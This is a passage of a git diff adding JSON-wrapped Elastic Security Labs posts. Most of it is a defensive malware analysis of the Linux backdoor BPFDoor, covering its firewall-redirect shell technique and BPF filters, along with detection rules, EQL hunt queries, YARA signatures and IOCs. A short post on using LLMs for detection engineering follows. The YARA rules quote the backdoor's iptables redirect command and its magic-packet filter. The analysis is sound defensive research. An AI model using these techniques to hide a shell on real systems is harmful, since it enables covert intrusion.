however. The sneakiest way to get a shell connected would be to reuse an existing packet flow, redirected to a separate process.\n\nIn this attack, the initial TCP handshake is done between the attacker and a completely legitimate process – for example nginx or sshd. These handshake packets happen to be also delivered to the backdoor (like every packet on the system) but are filtered out by BPF. Once the connection is established, however, BPFDoor sends a magic packet to the legitimate service. The implant receives it and makes a note of the originating IP and port the attacker is using, and it opens a new listening socket on an inconspicuous port (42391 - 43391).\n\nThe implant then reconfigures the firewall to temporarily redirect all traffic from the attacker’s IP/port combination to the new listening socket. The attacker initiates a second TCP handshake on the same legitimate port as before, only now iptables forwards those packets to the listening socket owned by the implant. . This establishes the communication channel between attacker and implant that will be used for command and control. The implant then covers its tracks by removing the iptables firewall rules that redirected the traffic.\n\nDespite the firewall rule being removed, traffic on the legitimate port will continue to be forwarded to the implant due to how Linux statefully tracks connections. No visible traffic will be addressed to the implant port (although it will be delivered there).\n\n![A diagram representing the aforementioned network flows](/assets/images/a-peek-behind-the-bpfdoor/network-flows.png)\n\n## BPF Filters\n\nAs stated in step 9 (above), [BPF](https://www.kernel.org/doc/html/v5.12/networking/filter.html) or Berkeley Packet Filters is a technology from the early ’90s that allows a user-space program to attach a network filter onto any socket and allow or disallow certain types of data to come through the socket. These filters are made up of bytecode that runs on an abstract virtual machine in the Linux kernel. The BPF virtual machine has functionality to inspect all parts of incoming packets and make an allow/drop decision based on what it sees. . You can see in the image example below what this looks like within the BPFDoor source code:\n\n![BPFDoor source code BPF Filters](/assets/images/a-peek-behind-the-bpfdoor/bpfdoor-source-code.jpg)\n\nWe took this BPF code, converted it, and wrote it up as pseudo code in an effort to aid our research and craft packets able to successfully get through these filters in order to activate the backdoor.\n\n![BPFDoor source code BPF Filter Pseudocode](/assets/images/a-peek-behind-the-bpfdoor/bpf-pseudocode.jpg)\n\nThe above capabilities allow BPFDoor to attach a filter onto any socket and allow or disallow certain types of data to come through the socket - used carefully by the adversary to invoke a series of different functions within the payload.\n\n## Historical Analysis\n\nWe wanted to see over time, between BPFDoor payloads, what, if anything, the threat actors modified. A number of samples were detonated and analyzed ranging from the uploaded source code to a [sample](https://www.virustotal.com/gui/file/599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683/detection) uploaded last month. We found that the behavior over time did not change a great deal. It maintained the same relative attack lifecycle with a few variations with the hardcoded values such as passwords, process names, and files - this is not uncommon when compared to other malware samples that look to evade detection or leverage payloads across a variety of victims.\n\nWe posture that the threat group would change passwords and update process or file names in an effort to improve operational security and remain hidden. It also makes sense that the general functionality of the backdoor would not change in any great way. As the saying goes “If it’s not broken, don’t fix it”. Our malware analysis and reverse engineering team compared the source code (uploaded to [VirusTotal](https://www.virustotal.com/gui/file/8b9db0bc9152628bdacc32dab01590211bee9f27d58e0f66f6a1e26aea7552a6/detection) and found on [Pastebin](https://pastebin.com/raw/kmmJuuQP)) to a recently uploaded sample highlighting some of the notable changes within the main function of the malware in the images below.\n\n![A side by side comparison of the main functions for the Pastebin source code and a sample uploaded to VT last month focusing on the hardcoded string values for the passwords, process names and file name](/assets/images/a-peek-behind-the-bpfdoor/pastebin.jpg)\n\nAs we mentioned earlier, one recent [sample](https://www.virustotal.com/gui/file/07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d/detection) we have come across that does not seem to exhibit some of the tactics of prior payloads has been observed - It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location, otherwise, it models relatively the same behavior.\n\n## Linux Malware Sophistication\n\nA trend we have had the privilege of observing at Elastic, is the threat landscape of Linux targeted attacks - these being focused often on cloud workloads, or systems that typically have less observational technology configured in many of the environments we see. The trend of complex, well-designed payloads is something that is often simply overlooked, and specifically in the case of BPFDoor, remained hidden for years.\n\nIt is important to consider these workloads a critical component of your security posture: A lack of visibility within cloud workloads will eventually lead to large gaps in security controls - adversarial groups are further growing to understand these trends, and act accordingly. Best practices state that endpoint defenses should be consistent across the fleet of systems under management, and conform to a least privilege architecture.\n\n## Detection of BPFDoor\n\nAfter researching this malware it became apparent as to why the backdoor remained in use and hidden for so long. If you aren’t intimately familiar with Linux process abnormalities or weren’t looking for it you would generally not detect it. Even though it takes advantage of Linux capabilities in a stealthy manner to evade detection, there are still opportunities for both behavioral and signature-based detections.\n\nThe first area of opportunity we witnessed while testing was the behavior we observed during the initial execution of the malware, specifically its working directory, in a shared memory location /dev/shm. This is a native temporary filesystem location in Linux that uses RAM for storage, and a binary executing from it let alone generating network connections is fairly uncommon in practice.\n\nDuring execution, BPFDoor removes existing files from /dev/shm and copies itself there prior to initialization. A detection for this would be any execution of a binary from this directory as root (you have to be root to write to and read from this directory).\n\nThis was verified by detonating the binary in a VM while our Elastic Agent was installed and observing the sequence of events. You can see an image of this detection on the Kibana Security Alerts page below. This rule is publicly available as an Elastic SIEM detection rule - [Binary Executed from Shared Memory Directory](https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_process_started_in_shared_memory_directory.toml):\n\n![Elastic Alert in Kibana - Binary Executed from Shared Memory Directory](/assets/images/a-peek-behind-the-bpfdoor/Elastic_Alert_in_Kibana_-_Binary_Executed_from_Shared_Memory_Directory.png)\n\nThe second opportunity we noticed, for detection, was a specific PID file being created in /var/run. We noticed the dropped PID file was completely empty while doing a quick query via the [Osquery integration](https://docs.elastic.co/en/integrations/osquery_manager) to the /var/run directory. While this is not inherently malicious, it is unusual for the file size of a PID to be 0 or above 10 bytes and thus we created an additional rule centered around detecting this unusual behavior.\n\nOur [Abnormal Process ID or Lock File Created](https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_abnormal_process_id_file_created.toml) rule identifies the creation of a PID file in the main directory of /var/run with no subdirectory, ignoring common PID files to be expected:\n\n![Elastic Alert in Kibana - Abnormal Process ID or Lock File Created](/assets/images/a-peek-behind-the-bpfdoor/abnormal-process.png)\n\nThe third area we wanted to look at was the network connections tied to two of the three capabilities (reverse shell and bind shell) the backdoor possesses. We wanted to see if there were any suspicious network connections tied to process or user abnormalities we could sequence together based off of the way BPFDoor handles establishing a reverse or bind shell.\n\nThe reverse shell was the first capability focused on. Taking a deep look at the process tree in and around the reverse shell establishment allowed us to key in on what would be considered a strange or even abnormal sequence of events leading to and involving an outbound network connection.\n\nWe developed a hunt rule sequence that identifies an outbound network connection attempt followed by a session id change as the root user by the same process entity. The reason we developed these network focused hunt rules is due to possible performance issues caused if running these continually.\n\nThe bind shell was the last capability we honed in on. Identifying an abnormal sequence of events surrounding the bind shell connection was difficult due to the way it forks then accepts the connection and kills the accepting process post established connection. Therefore we had to focus on the sequence of events within the process entity id directly involving the network connection and subsequent killing of the accepting process.\n\nAfter developing the 2 detection rules along with the 2 hunt rules listed below and in addition to the 6 YARA signatures deployed we were able to detect BPFDoor in a myriad of different ways and within different stages of its life cycle. As stated earlier though, if you detect this malware in your environment it should be the least of your concerns given the threat actor will most likely have already successfully compromised your network via other means.\n\n![Elastic Detection Summary of complete BPFDoor attack lifecycle](/assets/images/a-peek-behind-the-bpfdoor/complete-bpfdoor.png)\n\n### Existing Detection Rules\n\nThe following Elastic Detection Rules will identify BPFDoor activity:\n\n- [Abnormal Process ID or Lock File Created](https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_abnormal_process_id_file_created.toml)\n- [Binary Executed from Shared Memory Directory](https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_process_started_in_shared_memory_directory.toml)\n\n### Hunting Queries\n\nThis EQL rule can be used to successfully identify BPFDoor reverse shell connections having been established within your environment:\n\n**EQL BPFDoor reverse shell hunt query**\n\n```\nsequence by process.entity_id with maxspan=1m\n[network where event.type == \"start\" and event.action == \"connection_attempted\" and user.id == \"0\" and not process.executable : (\"/bin/ssh\", \"/sbin/ssh\", \"/usr/lib/systemd/systemd\")]\n[process where event.action == \"session_id_change\" and user.id == \"0\"]\n```\n\n![Elastic Alert in Kibana - Suspicious Network Connection Attempt by Root](/assets/images/a-peek-behind-the-bpfdoor/attempt-by-root.png)\n\nThe hunt rule we created here identifies a sequence of events beginning with a session id change, followed by a network connection accepted, in correlation with ptmx file creation and a deletion of the process responsible for accepting the network connection. This EQL rule can be used to successfully identify BPFDoor bind shell connections within your environment:\n\n**EQL BPFDoor bind shell hunt query**\n\n```\nsequence by process.entity_id with maxspan=1m\n[process where event.type == \"change\" and event.action == \"session_id_change\" and user.id == 0 and not process.executable : (\"/bin/ssh\", \"/sbin/ssh\", \"/usr/lib/systemd/systemd\")]\n[network where event.type == \"start\" and event.action == \"connection_accepted\" and user.id == 0]\n[file where event.action == \"creation\" and user.id == 0 and file.path == \"/dev/ptmx\"]\n[process where event.action == \"end\" and user.id == 0 and not process.executable : (\"/bin/ssh\", \"/sbin/ssh\", \"/usr/lib/systemd/systemd\")]\n```\n\n![Elastic Alert in Kibana - Suspicious Network Connection Accept by Root](/assets/images/a-peek-behind-the-bpfdoor/Elastic_Alert_in_Kibana_-_Suspicious_Network_Connection_Accept_by_Root.png)\n\n### YARA Rules\n\nIn addition to behavioral detection rules in the Elastic Endpoint, we are releasing a set of BPFDoor Yara signatures for the community.\n\n**BPFDoor YARA rule**\n\n```\nrule Linux_Trojan_BPFDoor_1 {\n\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-05-10\"\n last_modified = \"2022-05-10\"\n os = \"Linux\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BPFDoor\"\n threat_name = \"Linux.Trojan.BPFDoor\"\n description = \"Detects BPFDoor malware.\"\n reference_sample = \"144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3\"\n strings:\n $a1 = \"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event\" ascii fullword\n $a2 = \"/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d\" ascii fullword\n $a3 = \"avahi-daemon: chroot helper\" ascii fullword\n $a4 = \"/sbin/mingetty /dev/tty6\" ascii fullword\n $a5 = \"ttcompat\" ascii fullword\n condition:\n all of them\n}\n\nrule Linux_Trojan_BPFDoor_2 {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-05-10\"\n last_modified = \"2022-05-10\"\n os = \"Linux\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BPFDoor\"\n threat_name = \"Linux.Trojan.BPFDoor\"\n description = \"Detects BPFDoor malware.\"\n reference_sample = \"3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155\"\n strings:\n $a1 = \"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event\" ascii fullword\n $a2 = \"/sbin/mingetty /dev/tty7\" ascii fullword\n $a3 = \"pickup -l -t fifo -u\" ascii fullword\n $a4 = \"kdmtmpflush\" ascii fullword\n $a5 = \"avahi-daemon: chroot helper\" ascii fullword\n $a6 = \"/sbin/auditd -n\" ascii fullword\n condition:\n all of them\n}\n\nrule Linux_Trojan_BPFDoor_3 {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-05-10\"\n last_modified = \"2022-05-10\"\n os = \"Linux\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BPFDoor\"\n threat_name = \"Linux.Trojan.BPFDoor\"\n description = \"Detects BPFDoor malware.\"\n reference_sample = \"591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78\"\n strings:\n $a1 = \"[-] Spawn shell failed.\" ascii fullword\n $a2 = \"[+] Packet Successfuly Sending %d Size.\" ascii fullword\n $a3 = \"[+] Monitor packet send.\" ascii fullword\n $a4 = \"[+] Using port %d\"\n $a5 = \"decrypt_ctx\" ascii fullword\n $a6 = \"getshell\" ascii fullword\n $a7 = \"getpassw\" ascii fullword\n $a8 = \"export %s=%s\" ascii fullword\n condition:\n all of them\n}\n\nrule Linux_Trojan_BPFDoor_4 {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-05-10\"\n last_modified = \"2022-05-10\"\n os = \"Linux\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BPFDoor\"\n threat_name = \"Linux.Trojan.BPFDoor\"\n description = \"Detects BPFDoor malware.\"\n reference_sample = \"591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78\"\n strings:\n $a1 = { 45 D8 0F B6 10 0F B6 45 FF 48 03 45 F0 0F B6 00 8D 04 02 00 }\n condition:\n all of them\n}\n\nrule Linux_Trojan_BPFDoor_5 {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-05-10\"\n last_modified = \"2022-05-10\"\n os = \"Linux\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BPFDoor\"\n threat_name = \"Linux.Trojan.BPFDoor\"\n description = \"Detects BPFDoor malware.\"\n reference_sample = \"76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925\"\n strings:\n $a1 = \"getshell\" ascii fullword\n $a2 = \"/sbin/agetty --noclear tty1 linux\" ascii fullword\n $a3 = \"packet_loop\" ascii fullword\n $a4 = \"godpid\" ascii fullword\n $a5 = \"ttcompat\" ascii fullword\n $a6 = \"decrypt_ctx\" ascii fullword\n $a7 = \"rc4_init\" ascii fullword\n $b1 = { D0 48 89 45 F8 48 8B 45 F8 0F B6 40 0C C0 E8 04 0F B6 C0 C1 }\n condition:\n all of ($a*) or 1 of ($b*)\n}\n\nrule Linux_Trojan_BPFDoor_6 {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-05-10\"\n last_modified = \"2022-05-10\"\n os = \"Linux\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BPFDoor\"\n threat_name = \"Linux.Trojan.BPFDoor\"\n description = \"Detects BPFDoor malware.\"\n reference_sample = \"dc8346bf443b7b453f062740d8ae8d8d7ce879672810f4296158f90359dcae3a\"\n strings:\n $a1 = \"getpassw\" ascii fullword\n $a2 = \"(udp[8:2]=0x7255) or (icmp[8:2]=0x7255) or (tcp[((tcp[12]&0xf0)>>2):2]=0x5293)\" ascii fullword\n $a3 = \"/var/run/haldrund.pid\" ascii fullword\n $a4 = \"Couldn't install filter %s: %s\" ascii fullword\n $a5 = \"godpid\" ascii fullword\n condition:\n all of them\n}\n```\n\n## Interacting with BPFDoor\n\nThe Elastic Security Team has released several tools that can aid in further research regarding BPFDoor to include a network scanner used to identify infected hosts, a BPFDoor malware configuration extractor, and a BPFDoor client binary that can be used to actively interact with a sample.\n\n### BPFDoor Scanner\n\nThe Elastic Security Team [has released](https://www.elastic.co/security-labs/bpfdoor-scanner) a Python script that can identify if you have BPFDoor infected hosts.\n\nThe scanner sends a packet to a defined IP address using the default target port (68/UDP)and default interface. It listens to return traffic on port 53/UDP.\n\n![BPFDoor scanner tool](/assets/images/a-peek-behind-the-bpfdoor/BPFDoor_scanner_tool.jpg)\n\n### BPFDoor Configuration Extractor\n\nThis tool will allow you to extract configurations from any BPFDoor malware you may have collected. This will allow you to develop additional signatures and further analysis of the malware as well as your environment.\n\nThe BPFDoor configuration extractor can be downloaded [here](https://www.elastic.co/security-labs/bpfdoor-configuration-extractor).\n\n![BPFDoor configuration extractor](/assets/images/a-peek-behind-the-bpfdoor/BPFDoor_configuration_extractor.jpg)\n\n### BPFDoor Client POC\n\nQuickly after beginning our research into this malware we realized we would also need to actively interact with BPFDoor in order to observe the full extent of the capabilities that it possesses and monitor what these capabilities would look like from a host and SIEM level.\n\nIn order to do this, we had to break down the BPF filters in the BPFDoor source code so we could craft packets for the different protocols. To do this, we used [Scapy](https://scapy.net/), a packet manipulation program, to ensure we could pass the filters for the purpose of activating the backdoor. Once we ensured we could pass the filters, Rhys Rustad-Elliott, an engineer at Elastic built a BPFDoor client that accepts a password, IP address, and port allowing you to connect to a BPFDoor sample and interact if you possess the sample’s hardcoded passwords.\n\nDepending on the password or lack of password provided, BPFDoor will behave exactly the same way it would in the wild. You can invoke a reverse shell, establish a bind shell, or connect to it with no supplied password to receive a ping-back confirming its installation.\n\n![A preview of the BPFDoor Client developed by Elastic Security to assist in research](/assets/images/a-peek-behind-the-bpfdoor/A_preview_of_the_BPFDoor_Client_developed_by_Elastic_Security_to_assist_in_research.jpg)\n\nResearchers looking to use BPFDoor can [reach out to Elastic Security](mailto:threat-notification@elastic.co) for access to the BPFDoor client POC. Please note that these tools will be shared at our discretion with those in the trusted security community looking to improve the detection of this vulnerability.\n\n## Impact\n\nThe following MITRE ATT&CK Tactic, Techniques, and Sub-techniques have been observed with the BPFDoor malware.\n\n### Tactics\n\nTactics represent the “why” of an ATT&CK technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n- [Execution](https://attack.mitre.org/tactics/TA0002/)\n\n### Techniques (sub-techniques)\n\nTechniques (and sub-techniques) represent ‘how’ an adversary achieves a tactical goal by performing an action.\n\n- [Native API](https://attack.mitre.org/techniques/T1106/)\n- [External Remote Services](https://attack.mitre.org/techniques/T1133/)\n- [Hide Artifacts](https://attack.mitre.org/techniques/T1564/)\n- [Indicator Removal on Host](https://attack.mitre.org/techniques/T1070/)\n- [Non-Application Layer Protocol](https://attack.mitre.org/techniques/T1095/)\n- [Command and Scripting Interpreter: Unix Shell](https://attack.mitre.org/techniques/T1059/004)\n- [Abuse Elevation Control Mechanism: Setuid and Setgid](https://attack.mitre.org/techniques/T1548/001/)\n\n## Source Pseudocode\n\nTo clearly articulate the details of this malware, we’ve created [two diagrams](https://www.elastic.co/pdf/bpfdoor_pseudocode.pdf) that outline the specific pseudocode for BPFDoor based on the source code uploaded to VT and found on Pastebin. While this contains a lot of detail, it is simple to understand if researchers choose to further this research.\n\n## Summary\n\nWhile threat groups continue to increase in maturity, we expect this kind of mature, well designed and hidden threat will continue to be found within Linux environments. These kinds of findings reiterate the importance of comprehensive security controls across the entirety of a fleet, rather than simply focusing on user endpoints.\n\nBPFDoor demonstrates a perfect example of how important monitoring workloads within Linux environments can be. Payloads such as this are near-on impossible to observe and detect without sufficient controls, and should be considered a moving trend within the general adversarial landscape.\n\n## Observables\n\n| Observable | Type | Reference | Note |\n| ---------------------------------------------------------------- | ------------ | -------------------- | -------------------------------- |\n| /dev/shm/kdmtmpflush | process name | BPFDoor process name | Observed process name of BPFDoor |\n| /var/run/haldrund.pid | file name | BPFDoor file name | Observed BPFDoor PID file |\n| /var/run/kdevrund.pid | file name | BPFDoor file name | Observed BPFDoor PID file |\n| /var/run/xinetd.lock | file name | BPFDoor file name | Observed BPFDoor lock file |\n| 74ef6cc38f5a1a80148752b63c117e6846984debd2af806c65887195a8eccc56 | SHA-256 | BPFDoor malware | |\n| 07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d | SHA-256 | BPFDoor malware | |\n| 76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925 | SHA-256 | BPFDoor malware | |\n| 93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c | SHA-256 | BPFDoor malware | |\n| 96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9 | SHA-256 | BPFDoor malware | |\n| 599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683 | SHA-256 | BPFDoor malware | |\n| 2e0aa3da45a0360d051359e1a038beff8551b957698f21756cfc6ed5539e4bdb | SHA-256 | BPFDoor malware | |\n| f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72 | SHA-256 | BPFDoor malware | |\n| fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a | SHA-256 | BPFDoor malware | |\n| 5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3 | SHA-256 | BPFDoor malware | |\n| f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27 | SHA-256 | BPFDoor malware | |\n| 5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9 | SHA-256 | BPFDoor malware | |\n| 97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc | SHA-256 | BPFDoor malware | |\n| c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c | SHA-256 | BPFDoor malware | |\n| 4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d | SHA-256 | BPFDoor malware | |\n\n## References\n\n- https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896\n- https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf\n- https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group\n\n## Artifacts\n\nArtifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt294e7cd5c4b8a050/628e88d93b9b8554904a703c/bpfdoor-indicators.zip) in both ECS and STIX format in a combined zip bundle.\n" + }, + "title": "A peek behind the BPFDoor", + "slug": "a-peek-behind-the-bpfdoor", + "date": "2022-07-13", + "description": "In this research piece, we explore BPFDoor — a backdoor payload specifically crafted for Linux in order to gain re-entry into a previously or actively compromised target environment.", + "author": [ + { + "slug": "jake-king" + }, + { + "slug": "colson-wilhoit" + } + ], + "image": "blog-security-detection-720x420.png", + "category": [ + { + "slug": "attack-pattern" + } + ] + }, + "id": "security_labs_content-a_peek_behind_the_bpfdoor-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-accelerating_elastic_detection_tradecraft_with_llms-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-accelerating_elastic_detection_tradecraft_with_llms-md.json new file mode 100644 index 00000000000..fa8086531ff --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-accelerating_elastic_detection_tradecraft_with_llms-md.json @@ -0,0 +1,33 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Accelerating Elastic detection tradecraft with LLMs\"\nslug: \"accelerating-elastic-detection-tradecraft-with-llms\"\ndate: \"2023-09-29\"\ndescription: \"Learn more about how Elastic Security Labs has been focused on accelerating our detection engineering workflows by tapping into more generative AI capabilities.\"\nauthor:\n - slug: mika-ayenson\n - slug: jess-daubner\nimage: \"photo-edited-09@2x.jpg\"\ncategory:\n - slug: detection-science\n - slug: machine-learning\n - slug: generative-ai\n---\n\nIn line with our [Openness Initiative](https://www.elastic.co/blog/continued-leadership-in-open-and-transparent-security), we remain committed to transparency and want to share how our internal AI R&D efforts have increased the productivity of our threat detection team. For the past few months, Elastic Security Labs has been focused on accelerating our detection engineering workflows by tapping into more generative AI capabilities. \n\n## The ONWeek Exploration Odyssey\n\nAt Elastic, outside of our long-running [Space, Time](https://www.elastic.co/about/our-source-code) tradition, we dedicate a week every 6 months to work either independently or in a team on something we call ONWeek. This is a week where we all step away from feature work, tech debt, and other similar tasks; and use the week to focus on innovative ideas, active learning opportunities, applied research, and proof of concept work. During the previous ONWeek in May, we explored ideas to leverage large language models (LLMs) with Elastic’s existing features to enhance security alert triaging and productivity for tier 1 analysts and on, internal productivity workflows, and understanding the foundational building blocks for our experimentation and tuning. Figure 1 shows several different opportunities for research we have, which involve ingesting events, passing data through tailored prompts, and generating different classes of content designed for different Elastic workflows. \n\n![Figure 1: GenAI Security Use Cases](/assets/images/accelerating-elastic-detection-tradecraft-with-llms/image1.jpg)\nFigure 1: GenAI Security Use Cases\n\nFundamentally we explored several traditional ML approaches, but ultimately focused on starting simple and gradually increasing complexity, while keeping in mind these tools and concepts:\n - **Start Simple** - A mantra that guided our approach.\n - **Azure OpenAI** - Access to the GPT-4 LLM\n - **Prompt Engineering** - Developing tailored instructions for the LLM.\n - **LangChain** - Python library to help craft LLM applications.\n\nOne of our goals is to streamline Elastic’s detection engineer workflows, allowing for greater focus on better detections while showcasing the depth and nuances of our query languages. On the way there, we’re spending time experimenting to validate our prompts and prepare them for operational use. We want to make sure that as we iterate over our prompts, we don’t incidentally introduce regressions. As AI advancements emerge, we intend for our T&E to ensure that any adjustments, be it fine-tuning, model replacements, or prompt modifications, are deliberate. Ultimately, we aspire for our analysts to seamlessly utilize the latest AIML features, applying the most suitable prompts or ML techniques in the right context.\n\nWith these goals in mind, our first research use case in May focused on query generation. We learned quickly that with minimal data and prompt engineering, we could chain a series of prompts to transform raw Elastic events into EQL queries. \n\n![Figure 2: Query Generation POC](/assets/images/accelerating-elastic-detection-tradecraft-with-llms/image44.gif)\nFigure 2: Query Generation POC\n\nFor experimentation purposes, we simulated suspicious activity using our [Red Team Automation (RTA)](https://github.com/elastic/detection-rules/tree/main/rta) scripts and captured the endpoint activity in the SIEM through the Elastic Agent. Figure 2 displays sample events from the Elastic stack, exported to gold.json test files, that included the essential event fields for query generation. \n\nWe then asked GPT to analyze the event collection covering the RTA execution time window and focus on events with suspicious behavior. In our POC, the prompt asked us to pinpoint key values linked to potential anomalies. We then followed with subsequent prompts to chunk the events and summarize all of the activity. Based on all the summaries, we asked GPT to generate a list of indicators, without keying on specific values. With this short list of suspicious behaviors, we then asked GPT to generate the query. A significant advantage of our long-term open-source development is that GPT-related models are familiar with Elastic content, and so we benefited by not having to overfit our prompts.\n\nEven though going from raw data to an EQL query was conceptually straightforward, we still encountered minor hiccups like service availability with Azure OpenAI. It was relatively cheap, in what we estimated cost us around $160 in a week to use the OpenAI and Azure OpenAI inference and embedding APIs. We also explored using the GCP Vertex AI Workbench to facilitate collaborative work on Jupyter notebooks, but the complexity of using the available open source (OSS) models made them challenging to use during the short ONWeek.\n\n![Figure 3: May 2023 ONWeek Major Outcomes](/assets/images/accelerating-elastic-detection-tradecraft-with-llms/image2.png)\nFigure 3: May 2023 ONWeek Major Outcomes\n\nWe used ONWeek to mature our roadmap like expanding beyond in-memory, library-based vector search implementations to more performant, scalable, and production-ready data stores of our detection-rules content in Elasticsearch. Based on our initial results, we understood the potential and viability of integrating GenAI into the analyst workflow (e.g. allowing event time-window selection, query generation, and timeline addition). Based on these early wins, we put on our internal roadmap plans to pursue further LLM R&D and decided to tackle one of our internal productivity workflows.\n\n## A New Horizon: Generating Investigation Guides\n\nOver the years, Elastic Security Labs has matured its content. Starting in 2020 by adding the Investigation Guide Security feature, then standardizing those guides in 2021. By 2023, with over 900 [rules](https://github.com/elastic/detection-rules/tree/main/rules) in place, we are actively seeking an efficient way to generate highly accurate, detailed, and standardized guides for all 900+ pre-built rules.\n\nMelding traditional ML approaches (like similarity vector search) with our prompt engineering special sauce, our team created a new prototype centered around investigation guide generation called Rulecraft. Now, with just a rule ID in hand, our rule authors can generate a baseline investigation guide solution in mere minutes! \n\n![Figure 4: Sample Investigation Guide](/assets/images/accelerating-elastic-detection-tradecraft-with-llms/image3.png)\nFigure 4: Sample Investigation Guide\n\nIn this initial exploration, we supplied detection rules, but limited input to a few fields from the rules like the description and name of GPT. We also attempted to supply the query, but it appeared to overfit the expected outcome we desired. Initially, we provided a simple prompt with these fields to evaluate how well GPT could generate a decent investigation guide with minimal effort. As we explored further, it became evident that we could benefit from chaining multiple prompts akin to what we did during the EQL query generation experiment. So we spent time creating prompts tailored to distinct sections of the investigation guide. Segmenting the prompts not only granted us greater flexibility but also addressed areas where GPT faltered, such as the \"Related Rules\" section, where GPT tended to hallucinate most. At times like this, we used traditional ML methods like similarity search and integrated our rules into a vector database for enhanced context.\n\nNext, we identified opportunities to inject additional context into specific sections. To ensure uniformity across our guides, we curated a library of approved content and language for each segment. This library then guided GPT in generating and formatting responses similar to our established standard messages. We then compared GenAI-produced guides with their manually crafted counterparts to identify other formatting discrepancies, general errors introduced by GPT, and even broader issues with our prompts. \n\nBased on these findings, we chose to improve our generated content by adjusting the prompts instead of using post-processing techniques like string formatting. While the automated investigation guides aren't perfect, they offer our detection engineers a solid starting place. In the past, investigation guides have enhanced our PR peer review process by providing the reviewer with more context as the rules expected behavior. We now can generate the base guide, tune it, and add more detail as needed by the detection engineer instead of starting from scratch. \n\nTo bring this capability directly to our detection engineers, we integrated Rulecraft into a GitHub action workflow, so they can generate guides on-demand. We also produced the additional 650+ guides in a mere 13 hours—a task that would traditionally span months. The automation allows us to make small tweaks and quickly regenerate base content for rules missing investigation guides. Again, these guides are still subject to our stringent internal review, but the time and effort saved by leveraging GenAI for our preliminary drafts is incredible. \n\n## Charting the Future: Next Steps \n\nOur research and development journey continues, with a central focus on refining our approach to content generation with LLMs and more thoroughly validating our results. Here’s a short list of our priorities now that we’ve explored the viability and efficacy of integrating LLMs into our detection engineering workflow: \n - Compare proprietary models with the latest open-source models\n - Further refine our experimentation process including event filtering, prompt optimization, and exploring various model parameters\n - Create a test suite to validate our results and prevent regressions.\n - Seamlessly integrate our R&D advancements into the [Elastic AI Assistant](https://www.elastic.co/blog/open-security-impact-elastic-ai-assistant).\n\nOverall, we want to dramatically increase our investigation guide coverage and reduce the time taken to craft these guides from the ground up. Each investigation guide provides analysts with detailed, step-by-step instructions and queries for triaging alerts. With a customer-first mentality at the forefront of our [source code](https://www.elastic.co/about/our-source-code), we aim to elevate the analyst experience with more investigation guides of even higher quality, translating into less time spent by our customers on FP analysis and alert triaging.\n\n## Summary\nKeeping in spirit with our open innovation and transparency, Elastic Security Labs has begun our generative AI voyage to enhance the productivity of our threat detection processes. Our efforts continue to evolve and incorporate prompt engineering and traditional ML approaches on a case-by-case basis, resulting in more R&D proof-of-concepts like “LetmeaskGPT” and \"Rulecraft\". The latter POC has significantly reduced the time required to craft baseline guides, improve the analyst experience, and reduce false positive analyses. There’s so much more to do and we want to include you on our journey! While we've made strides, our next steps include further refinement, developing a framework to rigorously validate our results, and exploring opportunities to operationalize our R&D, ensuring we remain at the forefront of security advancements. \n\nWe’re always interested in hearing use cases and workflows like these, so as always, reach out to us via [GitHub 